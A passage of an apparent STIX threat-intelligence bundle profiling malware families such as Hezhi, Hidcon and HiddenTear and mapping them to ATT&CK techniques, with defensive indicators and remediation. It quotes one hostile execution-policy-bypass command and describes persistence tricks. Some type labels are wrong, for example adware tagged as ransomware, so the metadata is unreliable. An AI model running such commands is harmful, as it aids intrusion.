      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heye exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--108f289a-4d09-5ffd-9ba6-a9d5c8283d0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--383ca64c-3aaf-5f24-af03-d0c3f769159d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heye exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d989ec60-d3cd-5036-a6ba-20759ca19a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--383ca64c-3aaf-5f24-af03-d0c3f769159d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heye exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--477f9bd7-d96b-5484-bb27-a2180be431c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--383ca64c-3aaf-5f24-af03-d0c3f769159d",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heye exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70d6e5f6-77dc-5b86-8ce7-0749663e6193",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hezhi",
      "description": "Adware:Win32/Hezhi is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Hezhi specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Hezhi (Browser Hijacking)</b><br>To an end-user, Hezhi makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Hezhi is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Hezhi is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Hezhi often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hezhi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hezhi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ede1604-8f42-5480-988e-54ce154a88f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70d6e5f6-77dc-5b86-8ce7-0749663e6193",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hezhi exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2674d254-48f5-556f-8170-be82c4e0e180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70d6e5f6-77dc-5b86-8ce7-0749663e6193",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hezhi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1053f6d7-1105-5db5-b872-e66b5e0363b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70d6e5f6-77dc-5b86-8ce7-0749663e6193",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hezhi exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--33bde2a1-d215-5c07-ab31-5a986be6d426",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hg8Absxocmcj",
      "description": "<h3>Executive Summary</h3>\n\"hg8absxocmcj\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> hg8absxocmcj typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.hg8absxocmcj",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hg8Absxocmcj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hg8absxocmcj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8185cad1-fca5-52c5-9a4c-8e9d55d25e04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33bde2a1-d215-5c07-ab31-5a986be6d426",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hg8Absxocmcj exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--776fff41-3a78-5669-aa4f-19bbe246876d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33bde2a1-d215-5c07-ab31-5a986be6d426",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hg8Absxocmcj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b651fe9f-c430-5076-93aa-6854bc071f3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33bde2a1-d215-5c07-ab31-5a986be6d426",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hg8Absxocmcj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b00130d-4eab-5e98-aa89-312479282fa0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33bde2a1-d215-5c07-ab31-5a986be6d426",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hg8Absxocmcj exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90314355-f909-588d-a008-677aa4fc65f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hidcon",
      "description": "HackTool:Win32/Hidcon (Hidden Console) designates utilities designed specifically to execute command-line tools, batch files, or scripts silently, without displaying a visible command prompt (`cmd.exe`) window to the logged-in user. While there are legitimate administrative uses for such tools, threat actors heavily abuse them to execute malicious PowerShell, VBScript, or batch payloads invisibly during post-exploitation (`T1564.003`).<br><br><b>Understanding Hidcon (Execution Evasion)</b><br>To an end-user, the execution is completely invisible\u2014no flashing black boxes. For a SOC analyst, the presence of a Hidcon utility indicates an attacker is actively attempting to evade visual detection while running scripts. It is a 'living off the land' enabler, allowing attackers to use native system tools quietly.<br><br><b>Execution and Evasion Mechanics</b><br>Attackers often drop a small utility (like `hstart.exe` or a custom VBScript wrapper) alongside their primary malicious script. Instead of running `powershell.exe -ExecutionPolicy Bypass -File payload.ps1` directly (which might flash a window), they use the Hidcon tool to launch the script in a hidden, background session (`T1059.001`). This ensures the user does not get suspicious and interrupt the execution of the ransomware encryptor or data exfiltration script.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the script being executed invisibly. Host-based IoCs are centered around process command-line arguments. EDR solutions will log the execution of the Hidcon wrapper, and more importantly, the arguments passed to it (which reveal the true malicious script). Look for unexpected parent-child relationships where an unknown executable spawns `cmd.exe` or `powershell.exe` with arguments designed to hide the window (e.g., `-WindowStyle Hidden`). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hidcon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hidcon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f35fda7f-e8d3-59d6-abf0-7c086177985c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1564.003: Hide Artifacts: Hidden Window (The primary function of the tool)",
      "description": "MITRE ATT&CK Technique T1564.003 (Hide Artifacts: Hidden Window (The primary function of the tool)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1564.003",
          "url": "https://attack.mitre.org/techniques/T1564/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31981fe3-6481-5091-bd09-8ec03abcdc25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90314355-f909-588d-a008-677aa4fc65f6",
      "target_ref": "attack-pattern--f35fda7f-e8d3-59d6-abf0-7c086177985c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hidcon exhibits technique T1564.003 (Hide Artifacts: Hidden Window (The primary function of the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0681816-3666-5fce-a1f6-d296735b5594",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90314355-f909-588d-a008-677aa4fc65f6",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hidcon exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Often the target of the hidden execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0408aca1-3b95-57f5-b728-80aebb1ee167",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90314355-f909-588d-a008-677aa4fc65f6",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hidcon exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Executing batch files silently))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f05bf34-09c1-55d6-9839-d6a6ea6fb2ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hiddeninstall",
      "description": "Adware:Win32/Hiddeninstall (also detected as PUP.Optional.HiddenInstall) is a generic classification for software deployment wrappers that silently install Potentially Unwanted Programs (PUPs), Adware, and sometimes full-fledged malware without displaying a user interface or explicitly asking for consent (`T1189`).<br><br><b>Understanding Hiddeninstall (Silent Droppers)</b><br>To an end-user, Hiddeninstall is entirely invisible; they may think they downloaded a portable application or that an installation failed, only to later discover unwanted toolbars, changed homepages, and system sluggishness. For a security analyst, these silent installers are a significant vector for enterprise compromise, bypassing user awareness training entirely.<br><br><b>Execution and Evasion Mechanics</b><br>Hiddeninstall wrappers are often distributed via peer-to-peer networks, cracked software sites, or deceptive 'Download Now' buttons on file-sharing portals. The executable is typically a compiled script (like AutoIt or Inno Setup) configured to run in 'silent' or 'very silent' mode. Upon execution, it extracts its payload into the `%Temp%` directory (`T1027.009`) and uses command-line arguments (e.g., `/S` or `/quiet`) to force the installation of bundled applications without rendering any GUI windows. It often modifies the Registry (`T1112`) to suppress standard Windows UAC prompts if the user has disabled default security settings.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the stealthy installation of nuisance or malicious software. Host-based IoCs include EDR alerts for known installer framework executables (like `setup.exe` or `install.exe`) launching with silent command-line switches (`/S`, `/SILENT`, `/VERYSILENT`) and immediately dropping multiple, unrelated executables into the Temp directory. Network IoCs include sudden spikes in HTTP traffic to known adware affiliate networks as the silent installer 'phones home' to register the successful installation. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hiddeninstall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hiddeninstall"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ed4228b-22ab-59ca-94b4-d4f7ffb53aa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f05bf34-09c1-55d6-9839-d6a6ea6fb2ba",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddeninstall exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive downloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ff565ca-9322-5c63-8b84-c27639c3e86b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f05bf34-09c1-55d6-9839-d6a6ea6fb2ba",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddeninstall exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Using silent command line arguments for installation))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ef5168e9-c9b1-54d2-a97c-62c41112bcd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027.009: Obfuscated Files or Information: Embedded Payloads (Extracting the PUPs from the wrapper)",
      "description": "MITRE ATT&CK Technique T1027.009 (Obfuscated Files or Information: Embedded Payloads (Extracting the PUPs from the wrapper)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027.009",
          "url": "https://attack.mitre.org/techniques/T1027/009/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--befe4148-8756-5c86-823e-f6bcf3a9f021",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f05bf34-09c1-55d6-9839-d6a6ea6fb2ba",
      "target_ref": "attack-pattern--ef5168e9-c9b1-54d2-a97c-62c41112bcd1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddeninstall exhibits technique T1027.009 (Obfuscated Files or Information: Embedded Payloads (Extracting the PUPs from the wrapper))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8172b481-f3fd-541d-8008-4cac33f7a009",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hiddentear",
      "description": "Ransom:Win32/Hiddentear is a highly significant ransomware family in cybersecurity history. Originally developed by a Turkish researcher in 2015 and released on GitHub as an 'open-source educational project', HiddenTear was intended to demonstrate how ransomware works. Predictably, it was immediately co-opted by script kiddies and low-tier cybercriminals, who slightly modified the source code to spawn hundreds of real-world ransomware variants, causing widespread damage.<br><br><b>Understanding HiddenTear</b><br>To a victim, a HiddenTear infection is indistinguishable from top-tier ransomware; their files are encrypted, a unique extension (e.g., `.locked`) is appended, and a ransom note demands Bitcoin. For a security analyst, a HiddenTear detection often indicates a less sophisticated adversary. Because the original source code was flawed\u2014specifically, the random number generator used for the encryption keys was extremely weak\u2014files encrypted by many early HiddenTear variants can actually be decrypted for free using publicly available tools.<br><br><b>Execution and Encryption Mechanics</b><br>Because the source code is public, the distribution vector varies wildly, ranging from spam emails (`T1566.001`) to malicious Discord links (`T1189`). Upon execution (`T1204.002`), the malware typically establishes persistence by dropping a copy of itself in the `%AppData%` or `%LocalAppData%` directory and creating a Registry Run key (`T1547.001`). The core encryption routine targets a hardcoded list of file extensions (documents, images, databases) using AES encryption (`T1486`). In the original code, the encryption key was sent in plaintext to a web server via an HTTP GET request (`T1041`). It then drops a simple text file (`READ_IT.txt`) on the desktop detailing the ransom demand.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is significant data loss and disruption. The primary IoC is the sudden renaming of files to include anomalous extensions (which vary wildly depending on the script kiddie who compiled it) and the appearance of the ransom note. Network analysts might observe an HTTP GET request containing a string of characters (the AES key) being sent to a suspicious, often free-hosting, web domain. Static analysis of the executable will often reveal it is compiled in .NET and heavily resembles the public GitHub repository. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hiddentear",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hiddentear"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b98745cc-74af-5e98-a2d1-648fef06fb1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8172b481-f3fd-541d-8008-4cac33f7a009",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentear exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6892aa8-1d7b-5040-8864-01ed01e9337f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8172b481-f3fd-541d-8008-4cac33f7a009",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentear exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6f09623-c51b-5cac-b626-ea4d6964ea37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8172b481-f3fd-541d-8008-4cac33f7a009",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentear exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the AES key))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4ce7ec2-5ab0-52ef-95ed-96ed3c9bbc73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8172b481-f3fd-541d-8008-4cac33f7a009",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentear exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19458a31-f49c-5d5f-970e-cf45c6e61962",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hiddentears",
      "description": "Ransomware:Win32/Hiddentears is a highly significant case study in malware history. It was originally released on GitHub in August 2015 by a Turkish programmer as an 'educational' open-source ransomware project. Predictably, it was immediately weaponized by low-skill threat actors ('script kiddies'), spawning hundreds of real-world ransomware variants (like MoWare, Cryptear, and KryptoLocker). It demonstrates the extreme danger of publishing destructive code, regardless of intent (`T1486`).<br><br><b>Understanding Hiddentears (Open-Source Ransomware)</b><br>To an end-user, a HiddenTears-based infection looks like standard ransomware: files are encrypted, extensions are changed (often to `.locked` or `.hiddentears`), and a text-based ransom note appears on the desktop. For an incident response team, identifying a variant as based on HiddenTears is often a relief, as the original encryption implementation contained fatal flaws that allow for free decryption.<br><br><b>Execution and Cryptographic Flaws</b><br>HiddenTears variants are typically distributed via low-effort malspam or dropped by other generic trojans. Upon execution, it scans the user's directories and uses AES-256 encryption (`T1486`) to lock specific file types. It communicates the encryption key to a C2 server (often a simple web panel) (`T1041`). Crucially, the original open-source code utilized a fundamentally flawed method for generating the AES key and Initialization Vector (IV). It used the standard `Random` class seeded with a predictable timestamp, allowing cryptographic researchers to easily brute-force the seed and reverse the encryption without paying the ransom.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is data unavailability. Host-based IoCs include files appended with unusual extensions, the presence of ransom notes (often named `READ_IT.txt` or similar), and high CPU utilization by an unknown process during the encryption phase. A key indicator of a HiddenTears variant is often the presence of specific hardcoded strings from the original open-source project within the executable's memory. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hiddentears",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hiddentears"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbe53ba4-5e39-5e42-9937-1a7cf904ba53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19458a31-f49c-5d5f-970e-cf45c6e61962",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentears exhibits technique T1486 (Data Encrypted for Impact (The core ransomware payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d3cbf39-a89b-53db-81ae-ad028f11ec9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19458a31-f49c-5d5f-970e-cf45c6e61962",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentears exhibits technique T1041 (Exfiltration Over C2 Channel (Transmitting the generated encryption key back to the attacker))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--865fba50-6d51-51c0-acce-56a84d8a2dc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19458a31-f49c-5d5f-970e-cf45c6e61962",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiddentears exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Often used to delete shadow copies))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--097d680d-64f6-57f0-8a8f-f90172daac0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hideproc",
      "description": "Rootkit:Win32/Hideproc (or generic process hiding tool) is a highly sophisticated, kernel-level rootkit component designed to completely conceal the presence of malicious processes, files, and network connections from the Windows operating system and its security tools. It acts as an invisibility cloak for other malware, allowing devastating payloads (like banking trojans or advanced RATs) to operate unseen by standard antivirus and EDR solutions.<br><br><b>Understanding Rootkits and Hideproc</b><br>To an end-user, a machine infected with Hideproc and its accompanying payload might run perfectly normally, or exhibit unexplained sluggishness. For a SOC analyst, a kernel rootkit is a worst-case scenario. It subverts the very foundation of trust on the endpoint. If the operating system's kernel is compromised, no information reported by the Task Manager, Registry Editor, or standard AV engine can be trusted.<br><br><b>Execution and Evasion Strategies</b><br>Hideproc typically requires the attacker to have already escalated privileges to SYSTEM (`T1548.002`), often using an exploit or a UAC bypass. Once elevated, the malware 